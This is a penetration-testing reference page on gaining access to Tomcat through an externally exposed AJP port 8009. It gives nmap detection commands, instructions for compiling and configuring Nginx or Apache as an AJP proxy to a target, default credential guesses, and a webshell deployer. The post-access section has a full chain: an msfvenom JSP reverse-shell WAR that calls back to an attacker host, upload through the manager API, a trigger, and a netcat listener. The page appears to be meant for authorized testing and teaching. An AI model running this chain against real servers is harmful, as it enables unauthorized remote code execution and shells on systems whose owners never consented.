AJP & Tomcat
Apache JServ Protocol (AJP) is Tomcat’s binary back-channel - port 8009 by default. When AJP is exposed externally, you can reach the Tomcat manager and any backend apps that the operator thought were behind a reverse proxy. Two ways in: front it with your own Nginx/Apache configured as an AJP client, or hit it directly with Ghostcat (CVE-2020-1938) for file disclosure / RCE.
# Detectionnmap -sV -p 8009 <TARGET># Look for: ajp13 open, "Apache Jserv" in service banner
# Direct exploitation (preferred)# → see Ghostcat page
# Proxy-based access (when Ghostcat is patched)# → set up Nginx or Apache as AJP client (below)Success indicator: the Tomcat default page or /manager/html reachable from your browser via the local proxy.
When you’ll see this
Section titled “When you’ll see this”- Internal pentests with a poorly segmented network
- External assessments where someone exposed 8009 thinking it was internal-only
- Container deployments where AJP and HTTP both bind
0.0.0.0 - Internet-wide scans (Shodan facet
port:8009) - common enough to find in scope
Detection
Section titled “Detection”# Service detectionnmap -sV -p 8009,8080,8443 <TARGET>
# Faster sweepnmap -p 8009 --open <NETWORK>/24
# Confirm AJP responsivenessnmap -p 8009 --script ajp-headers,ajp-methods <TARGET>Look for ajp13 in service banners. If port 8080 is also open and shows a Tomcat default page, the AJP connector is almost certainly the back-channel.
Nginx as AJP client
Section titled “Nginx as AJP client”When Ghostcat is patched but the AJP port is still reachable, fronting it with Nginx gives you a browser-friendly window into Tomcat.
Stock Nginx doesn’t ship with AJP support - you compile from source with nginx_ajp_module.
-
Get Nginx source and the module:
Terminal window wget https://nginx.org/download/nginx-1.27.0.tar.gztar -xzvf nginx-1.27.0.tar.gzgit clone https://github.com/dvershinin/nginx_ajp_module.gitsudo apt install -y libpcre3-dev zlib1g-dev libssl-dev -
Compile with the AJP module:
Terminal window cd nginx-1.27.0./configure --add-module=../nginx_ajp_module \--prefix=/etc/nginx --sbin-path=/usr/sbin/nginx \--modules-path=/usr/lib/nginx/modulesmake && sudo make installnginx -V 2>&1 | grep ajp -
Configure to point at the target. Replace the entire
serverblock in/etc/nginx/conf/nginx.confand add insidehttp { ... }:upstream tomcats {server <TARGET>:8009;keepalive 10;}server {listen 8000;location / {ajp_keep_conn on;ajp_pass tomcats;}}Use port 8000 or another free local port - port 80 is often in use.
-
Start and verify:
Terminal window sudo nginxcurl -i http://127.0.0.1:8000/Expect the Tomcat default page in the response body.
-
Reach the manager:
Terminal window curl -i http://127.0.0.1:8000/manager/html -u tomcat:s3cretDefault credentials worth trying:
tomcat:tomcat,tomcat:s3cret,admin:admin,admin:tomcat,manager:manager. Tomcat ships locked by default - credentials only exist if someone added them, which means someone did add them.
Apache as AJP client
Section titled “Apache as AJP client”Apache’s mod_proxy_ajp is precompiled - faster setup than Nginx if Apache is already on your system.
-
Install and enable modules:
Terminal window sudo apt install -y libapache2-mod-jksudo a2enmod proxy proxy_ajp proxy_http -
Create the site config at
/etc/apache2/sites-available/ajp-proxy.conf:<VirtualHost *:8000><Proxy *>Require all granted</Proxy>ProxyPass / ajp://<TARGET>:8009/ProxyPassReverse / ajp://<TARGET>:8009/</VirtualHost>Add
Listen 8000to/etc/apache2/ports.confif needed. -
Enable and start:
Terminal window sudo a2ensite ajp-proxysudo systemctl restart apache2curl -i http://127.0.0.1:8000/
Direct AJP clients
Section titled “Direct AJP clients”When you don’t want to spin up a webserver, lightweight AJP clients exist:
# AJPy - Python AJP clientpip install ajpypython -m ajpy.tomcat <TARGET> 8009 --webapp=manager
# tomcatWarDeployer - drops a webshell after authgit clone https://github.com/mgeeky/tomcatWarDeployer./tomcatWarDeployer.py -U tomcat -P s3cret -H <LHOST> -p <LPORT> <TARGET>:8009Post-access - Tomcat exploitation
Section titled “Post-access - Tomcat exploitation”Once you have a Tomcat session (manager UI, /manager/text, or shell):
# Generate a war reverse shellmsfvenom -p java/jsp_shell_reverse_tcp LHOST=<LHOST> LPORT=<LPORT> -f war -o shell.war
# Deploy via manager API (requires manager-script role)curl -u tomcat:s3cret --upload-file shell.war \ "http://127.0.0.1:8000/manager/text/deploy?path=/shell"
# Triggercurl http://127.0.0.1:8000/shell/
# Listennc -lvnp <LPORT>The manager-script role is what enables programmatic deployment. The manager-gui role enables the web UI but not /manager/text/*. Sometimes a tester has GUI but no script - use the GUI’s “WAR file to deploy” upload form in that case.
Common failure modes
Section titled “Common failure modes”- AJP secret required. Tomcat 9.0.31+ defaults to requiring
requiredSecreton the AJP connector. If your client gets403 Forbiddenfrom AJP, the connector is in protected mode. Without the secret you can’t drive it; check whether the deploying admin disabled the protection (common during migrations) or whether Ghostcat (which doesn’t need the secret on older Tomcat) applies. - Manager returns 403 from external IP. The manager app has its own access control via
RemoteAddrValve, typically restricted to127.0.0.1. Your AJP-proxied request appears to come from local Tomcat’s perspective only if the AJP client passes the right headers. Apache and Nginx AJP modules generally do; bare AJP clients sometimes don’t. - Module compile fails on Nginx. Missing dev headers. Install
libpcre3-dev,zlib1g-dev,libssl-dev. On RHEL/Fedora the package names differ (pcre-devel,zlib-devel,openssl-devel). - Connection refused from AJP port. Tomcat’s AJP connector binds
127.0.0.1by default in modern versions. If the port appears closed externally but the Tomcat HTTP port is open, AJP is bound locally and Ghostcat won’t work either.
AJP exposure is a configuration mistake, not a vulnerability per se - the protocol is functioning as designed. The bug, when one exists, is Ghostcat (which exploits the AJP attribute-injection design flaw). When you find an AJP port, check Ghostcat first; the proxy approach is the fallback for patched Tomcat where AJP remained externally bound.